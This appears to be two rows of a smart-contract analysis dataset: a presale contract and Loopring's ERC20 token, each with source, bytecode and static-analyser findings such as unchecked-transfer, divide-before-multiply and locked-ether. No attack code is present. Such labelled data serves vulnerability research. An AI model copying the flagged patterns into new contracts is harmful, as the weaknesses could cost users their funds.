abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract NEXTPresale is Ownable {
using SafeMath for uint256;
IERC20 public token;
// BP
uint256 constant BP = 10000;
// params
bool public started;
uint256 public price;
uint256 public cap;
uint256 public ends;
bool public paused;
uint256 public minimum;
uint256 public maximum;
// stats
uint256 public totalOwed;
uint256 public weiRaised;
mapping(address => uint256) public claimable;
constructor (address addr) public { token = IERC20(addr); }
// pause contract preventing further purchase.
// pausing however has no effect on those who already purchased.
function pause(bool _paused) public onlyOwner { paused = _paused;}
function setPrice(uint256 _price) public onlyOwner { price = _price; }
function setMinimum(uint256 _minimum) public onlyOwner { minimum = _minimum; }
function setMaximum(uint256 _maximum) public onlyOwner { maximum = _maximum; }
function setCap(uint256 _cap) public onlyOwner { cap = _cap; }
function setToken(address _addr) public onlyOwner { token = IERC20(_addr); }
// set the date the contract will unlock.
function setEnds(uint256 _ends) public onlyOwner { ends = _ends; }
// unlock contract early
function unlock() public onlyOwner { ends = 0; paused = true; }
function withdrawETH(address payable _addr, uint256 amount) public onlyOwner {
_addr.transfer(amount);
}
function withdrawETHOwner(uint256 amount) public onlyOwner {
msg.sender.transfer(amount);
}
function withdrawUnsold(address _addr, uint256 amount) public onlyOwner {
require(amount <= token.balanceOf(address(this)).sub(totalOwed), "insufficient balance");
token.transfer(_addr, amount);
}
// start the presale
function startPresale(uint256 _ends) public onlyOwner {
require(!started, "already started!");
require(price > 0, "set price first!");
require(minimum > 0, "set minimum first!");
require(maximum > minimum, "set maximum first!");
require(cap > 0, "set a cap first");
started = true;
paused = false;
ends = _ends;
}
// the amount purchased
function calculateAmountPurchased(uint256 _value) public view returns (uint256) {
return _value.mul(BP).div(price).mul(1e18).div(BP);
}
// claim your purchased tokens
function claim() public {
//solium-disable-next-line
require(block.timestamp > ends, "presale has not yet ended");
require(claimable[msg.sender] > 0, "nothing to claim");
uint256 amount = claimable[msg.sender];
// update user and stats
claimable[msg.sender] = 0;
totalOwed = totalOwed.sub(amount);
// send owed tokens
require(token.transfer(msg.sender, amount), "failed to claim");
}
// purchase tokens
function buy() public payable {
//solium-disable-next-line
require(!paused, "presale is paused");
require(msg.value >= minimum, "amount too small");
require(weiRaised.add(msg.value) < cap, "cap hit");
uint256 amount = calculateAmountPurchased(msg.value);
require(totalOwed.add(amount) <= token.balanceOf(address(this)), "sold out");
require(claimable[msg.sender].add(msg.value) <= maximum, "maximum purchase cap hit");
// update user and stats:
claimable[msg.sender] = claimable[msg.sender].add(amount);
totalOwed = totalOwed.add(amount);
weiRaised = weiRaised.add(msg.value);
}
fallback() external payable { buy(); }
receive() external payable { buy(); }
} | 0x6080604052600436106101c65760003560e01c806352d6804d116100f757806391b7f5ed11610095578063a6f2ae3a11610064578063a6f2ae3a146101d5578063e7fa9f7d1461056f578063f2fde38b14610584578063fc0c546a146105b7576101d5565b806391b7f5ed146104f1578063a035b1fe1461051b578063a132aad114610530578063a69df4b51461055a576101d5565b8063715018a6116100d1578063715018a61461046c57806379c597ff1461048157806389f3084e146104965780638da5cb5b146104c0576101d5565b806352d6804d146104185780635c975abb1461042d578063627aa5ff14610442576101d5565b80633967ce0b1161016457806347786d371161013e57806347786d371461038b5780634782f779146103b55780634e71d92d146103ee57806352342f1314610403576101d5565b80633967ce0b14610319578063402914f5146103435780634042b66f14610376576101d5565b80631f2698ab116101a05780631f2698ab14610275578063253861831461029e5780633209e9e6146102c8578063355274ea146102f2576101d5565b806302329a29146101dd578063144fa6d7146102095780631923cc1f1461023c576101d5565b366101d5576101d36105cc565b005b6101d36105cc565b3480156101e957600080fd5b506101d36004803603602081101561020057600080fd5b5035151561083b565b34801561021557600080fd5b506101d36004803603602081101561022c57600080fd5b50356001600160a01b03166108a6565b34801561024857600080fd5b506101d36004803603604081101561025f57600080fd5b506001600160a01b038135169060200135610920565b34801561028157600080fd5b5061028a610acb565b604080519115158252519081900360200190f35b3480156102aa57600080fd5b506101d3600480360360208110156102c157600080fd5b5035610adb565b3480156102d457600080fd5b506101d3600480360360208110156102eb57600080fd5b5035610b38565b3480156102fe57600080fd5b50610307610b95565b60408051918252519081900360200190f35b34801561032557600080fd5b506103076004803603602081101561033c57600080fd5b5035610b9b565b34801561034f57600080fd5b506103076004803603602081101561036657600080fd5b50356001600160a01b0316610bdc565b34801561038257600080fd5b50610307610bee565b34801561039757600080fd5b506101d3600480360360208110156103ae57600080fd5b5035610bf4565b3480156103c157600080fd5b506101d3600480360360408110156103d857600080fd5b506001600160a01b038135169060200135610c51565b3480156103fa57600080fd5b506101d3610ce4565b34801561040f57600080fd5b50610307610e78565b34801561042457600080fd5b50610307610e7e565b34801561043957600080fd5b5061028a610e84565b34801561044e57600080fd5b506101d36004803603602081101561046557600080fd5b5035610e8d565b34801561047857600080fd5b506101d3610f16565b34801561048d57600080fd5b50610307610fb8565b3480156104a257600080fd5b506101d3600480360360208110156104b957600080fd5b5035610fbe565b3480156104cc57600080fd5b506104d561101b565b604080516001600160a01b039092168252519081900360200190f35b3480156104fd57600080fd5b506101d36004803603602081101561051457600080fd5b503561102a565b34801561052757600080fd5b50610307611087565b34801561053c57600080fd5b506101d36004803603602081101561055357600080fd5b503561108d565b34801561056657600080fd5b506101d3611285565b34801561057b57600080fd5b506103076112f1565b34801561059057600080fd5b506101d3600480360360208110156105a757600080fd5b50356001600160a01b03166112f7565b3480156105c357600080fd5b506104d56113ef565b60055460ff1615610618576040805162461bcd60e51b81526020600482015260116024820152701c1c995cd85b19481a5cc81c185d5cd959607a1b604482015290519081900360640190fd5b600654341015610662576040805162461bcd60e51b815260206004820152601060248201526f185b5bdd5b9d081d1bdbc81cdb585b1b60821b604482015290519081900360640190fd5b60035460095461067290346113fe565b106106ae576040805162461bcd60e51b815260206004820152600760248201526618d85c081a1a5d60ca1b604482015290519081900360640190fd5b60006106b934610b9b565b600154604080516370a0823160e01b815230600482015290519293506001600160a01b03909116916370a0823191602480820192602092909190829003018186803b15801561070757600080fd5b505afa15801561071b573d6000803e3d6000fd5b505050506040513d602081101561073157600080fd5b505160085461074090836113fe565b111561077e576040805162461bcd60e51b81526020600482015260086024820152671cdbdb19081bdd5d60c21b604482015290519081900360640190fd5b600754336000908152600a602052604090205461079b90346113fe565b11156107ee576040805162461bcd60e51b815260206004820152601860248201527f6d6178696d756d20707572636861736520636170206869740000000000000000604482015290519081900360640190fd5b336000908152600a602052604090205461080890826113fe565b336000908152600a602052604090205560085461082590826113fe565b60085560095461083590346113fe565b60095550565b61084361145f565b6000546001600160a01b03908116911614610893576040805162461bcd60e51b81526020600482018190526024820152600080516020611684833981519152604482015290519081900360640190fd5b6005805460ff1916911515919091179055565b6108ae61145f565b6000546001600160a01b039081169116146108fe576040805162461bcd60e51b81526020600482018190526024820152600080516020611684833981519152604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b61092861145f565b6000546001600160a01b03908116911614610978576040805162461bcd60e51b81526020600482018190526024820152600080516020611684833981519152604482015290519081900360640190fd5b600854600154604080516370a0823160e01b815230600482015290516109fa93926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109c857600080fd5b505afa1580156109dc573d6000803e3d6000fd5b505050506040513d60208110156109f257600080fd5b505190611463565b811115610a45576040805162461bcd60e51b8152602060048201526014602482015273696e73756666696369656e742062616c616e636560601b604482015290519081900360640190fd5b6001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610a9b57600080fd5b505af1158015610aaf573d6000803e3d6000fd5b505050506040513d6020811015610ac557600080fd5b50505050565b600154600160a01b900460ff1681565b610ae361145f565b6000546001600160a01b03908116911614610b33576040805162461bcd60e51b81526020600482018190526024820152600080516020611684833981519152604482015290519081900360640190fd5b600755565b610b4061145f565b6000546001600160a01b03908116911614610b90576040805162461bcd60e51b81526020600482018190526024820152600080516020611684833981519152604482015290519081900360640190fd5b600655565b60035481565b6000610bd6612710610bca670de0b6b3a7640000610bd0600254610bca612710896114a590919063ffffffff16565b906114fe565b906114a5565b92915050565b600a6020526000908152604090205481565b60095481565b610bfc61145f565b6000546001600160a01b03908116911614610c4c576040805162461bcd60e51b81526020600482018190526024820152600080516020611684833981519152604482015290519081900360640190fd5b600355565b610c5961145f565b6000546001600160a01b03908116911614610ca9576040805162461bcd60e51b81526020600482018190526024820152600080516020611684833981519152604482015290519081900360640190fd5b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610cdf573d6000803e3d6000fd5b505050565b6004544211610d3a576040805162461bcd60e51b815260206004820152601960248201527f70726573616c6520686173206e6f742079657420656e64656400000000000000604482015290519081900360640190fd5b336000908152600a6020526040902054610d8e576040805162461bcd60e51b815260206004820152601060248201526f6e6f7468696e6720746f20636c61696d60801b604482015290519081900360640190fd5b336000908152600a602052604081208054919055600854610daf9082611463565b6008556001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b158015610e0657600080fd5b505af1158015610e1a573d6000803e3d6000fd5b505050506040513d6020811015610e3057600080fd5b5051610e75576040805162461bcd60e51b815260206004820152600f60248201526e6661696c656420746f20636c61696d60881b604482015290519081900360640190fd5b50565b60075481565b60065481565b60055460ff1681565b610e9561145f565b6000546001600160a01b03908116911614610ee5576040805162461bcd60e51b81526020600482018190526024820152600080516020611684833981519152604482015290519081900360640190fd5b604051339082156108fc029083906000818181858888f19350505050158015610f12573d6000803e3d6000fd5b5050565b610f1e61145f565b6000546001600160a01b03908116911614610f6e576040805162461bcd60e51b81526020600482018190526024820152600080516020611684833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60045481565b610fc661145f565b6000546001600160a01b03908116911614611016576040805162461bcd60e51b81526020600482018190526024820152600080516020611684833981519152604482015290519081900360640190fd5b600455565b6000546001600160a01b031690565b61103261145f565b6000546001600160a01b03908116911614611082576040805162461bcd60e51b81526020600482018190526024820152600080516020611684833981519152604482015290519081900360640190fd5b600255565b60025481565b61109561145f565b6000546001600160a01b039081169116146110e5576040805162461bcd60e51b81526020600482018190526024820152600080516020611684833981519152604482015290519081900360640190fd5b600154600160a01b900460ff1615611137576040805162461bcd60e51b815260206004820152601060248201526f616c726561647920737461727465642160801b604482015290519081900360640190fd5b600060025411611181576040805162461bcd60e51b815260206004820152601060248201526f7365742070726963652066697273742160801b604482015290519081900360640190fd5b6000600654116111cd576040805162461bcd60e51b8152602060048201526012602482015271736574206d696e696d756d2066697273742160701b604482015290519081900360640190fd5b6006546007541161121a576040805162461bcd60e51b8152602060048201526012602482015271736574206d6178696d756d2066697273742160701b604482015290519081900360640190fd5b600060035411611263576040805162461bcd60e51b815260206004820152600f60248201526e1cd95d08184818d85c08199a5c9cdd608a1b604482015290519081900360640190fd5b6001805460ff60a01b1916600160a01b1790556005805460ff19169055600455565b61128d61145f565b6000546001600160a01b039081169116146112dd576040805162461bcd60e51b81526020600482018190526024820152600080516020611684833981519152604482015290519081900360640190fd5b60006004556005805460ff19166001179055565b60085481565b6112ff61145f565b6000546001600160a01b0390811691161461134f576040805162461bcd60e51b81526020600482018190526024820152600080516020611684833981519152604482015290519081900360640190fd5b6001600160a01b0381166113945760405162461bcd60e51b815260040180806020018281038252602681526020018061163d6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b031681565b600082820183811015611458576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b600061145883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611540565b6000826114b457506000610bd6565b828202828482816114c157fe5b04146114585760405162461bcd60e51b81526004018080602001828103825260218152602001806116636021913960400191505060405180910390fd5b600061145883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115d7565b600081848411156115cf5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561159457818101518382015260200161157c565b50505050905090810190601f1680156115c15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836116265760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561159457818101518382015260200161157c565b50600083858161163257fe5b049594505050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a26469706673582212204b0b3040ac20ea34cc9579b4083406862dc1b2f9ce64eeb2e94431e7c57df42664736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 9,617 |
0xf5b3b365fa319342e89a3da71ba393e12d9f63c3 | /*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.4.21;
/// @title Utility Functions for uint
/// @author Daniel Wang - <daniel@loopring.org>
library MathUint {
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function tolerantSub(uint a, uint b) internal pure returns (uint c) {
return (a >= b) ? a - b : 0;
}
/// @dev calculate the square of Coefficient of Variation (CV)
/// https://en.wikipedia.org/wiki/Coefficient_of_variation
function cvsquare(
uint[] arr,
uint scale
)
internal
pure
returns (uint)
{
uint len = arr.length;
require(len > 1);
require(scale > 0);
uint avg = 0;
for (uint i = 0; i < len; i++) {
avg += arr[i];
}
avg = avg / len;
if (avg == 0) {
return 0;
}
uint cvs = 0;
uint s;
uint item;
for (i = 0; i < len; i++) {
item = arr[i];
s = item > avg ? item - avg : avg - item;
cvs += mul(s, s);
}
return ((mul(mul(cvs, scale), scale) / avg) / avg) / (len - 1);
}
}
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/// @title Utility Functions for address
/// @author Daniel Wang - <daniel@loopring.org>
library AddressUtil {
function isContract(address addr)
internal
view
returns (bool)
{
if (addr == 0x0) {
return false;
} else {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
}
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/// @title ERC20 Token Interface
/// @dev see https://github.com/ethereum/EIPs/issues/20
/// @author Daniel Wang - <daniel@loopring.org>
contract ERC20 {
function balanceOf(address who) view public returns (uint256);
function allowance(address owner, address spender) view public returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
}
/// @title ERC20 Token Implementation
/// @dev see https://github.com/ethereum/EIPs/issues/20
/// @author Daniel Wang - <daniel@loopring.org>
contract ERC20Token is ERC20 {
using MathUint for uint;
string public name;
string public symbol;
uint8 public decimals;
uint public totalSupply_;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function ERC20Token(
string _name,
string _symbol,
uint8 _decimals,
uint _totalSupply,
address _firstHolder
)
public
{
require(bytes(_name).length > 0);
require(bytes(_symbol).length > 0);
require(_totalSupply > 0);
require(_firstHolder != 0x0);
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply_ = _totalSupply;
balances[_firstHolder] = totalSupply_;
}
function () payable public
{
revert();
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner)
public
view
returns (uint256 balance)
{
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(
address _spender,
uint256 _value
)
public
returns (bool)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | 0x6060604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461017e57806323b872dd146101a3578063313ce567146101cb578063324536eb146101f4578063661884631461020757806370a082311461022957806395d89b4114610248578063a9059cbb1461025b578063d73dd6231461027d578063dd62ed3e1461029f575b600080fd5b34156100c957600080fd5b6100d16102c4565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561010d5780820151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015357600080fd5b61016a600160a060020a0360043516602435610362565b604051901515815260200160405180910390f35b341561018957600080fd5b6101916103cf565b60405190815260200160405180910390f35b34156101ae57600080fd5b61016a600160a060020a03600435811690602435166044356103d5565b34156101d657600080fd5b6101de610557565b60405160ff909116815260200160405180910390f35b34156101ff57600080fd5b610191610560565b341561021257600080fd5b61016a600160a060020a0360043516602435610566565b341561023457600080fd5b610191600160a060020a0360043516610660565b341561025357600080fd5b6100d161067b565b341561026657600080fd5b61016a600160a060020a03600435166024356106e6565b341561028857600080fd5b61016a600160a060020a03600435166024356107e1565b34156102aa57600080fd5b610191600160a060020a0360043581169060243516610885565b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561035a5780601f1061032f5761010080835404028352916020019161035a565b820191906000526020600020905b81548152906001019060200180831161033d57829003601f168201915b505050505081565b600160a060020a03338116600081815260056020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60035490565b6000600160a060020a03831615156103ec57600080fd5b600160a060020a03841660009081526004602052604090205482111561041157600080fd5b600160a060020a038085166000908152600560209081526040808320339094168352929052205482111561044457600080fd5b600160a060020a03841660009081526004602052604090205461046d908363ffffffff6108b016565b600160a060020a0380861660009081526004602052604080822093909355908516815220546104a2908363ffffffff6108c516565b600160a060020a038085166000908152600460209081526040808320949094558783168252600581528382203390931682529190915220546104ea908363ffffffff6108b016565b600160a060020a03808616600081815260056020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60025460ff1681565b60035481565b600160a060020a033381166000908152600560209081526040808320938616835292905290812054808311156105c357600160a060020a0333811660009081526005602090815260408083209388168352929052908120556105fa565b6105d3818463ffffffff6108b016565b600160a060020a033381166000908152600560209081526040808320938916835292905220555b600160a060020a0333811660008181526005602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526004602052604090205490565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561035a5780601f1061032f5761010080835404028352916020019161035a565b6000600160a060020a03831615156106fd57600080fd5b600160a060020a03331660009081526004602052604090205482111561072257600080fd5b600160a060020a03331660009081526004602052604090205461074b908363ffffffff6108b016565b600160a060020a033381166000908152600460205260408082209390935590851681522054610780908363ffffffff6108c516565b600160a060020a0380851660008181526004602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600560209081526040808320938616835292905290812054610819908363ffffffff6108c516565b600160a060020a0333811660008181526005602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b6000828211156108bf57600080fd5b50900390565b818101828110156103c957600080fd00a165627a7a72305820878a4f5b364dc174e0f977f6a1bb4993b5bb1a27444a2003134df101b64f754e0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} 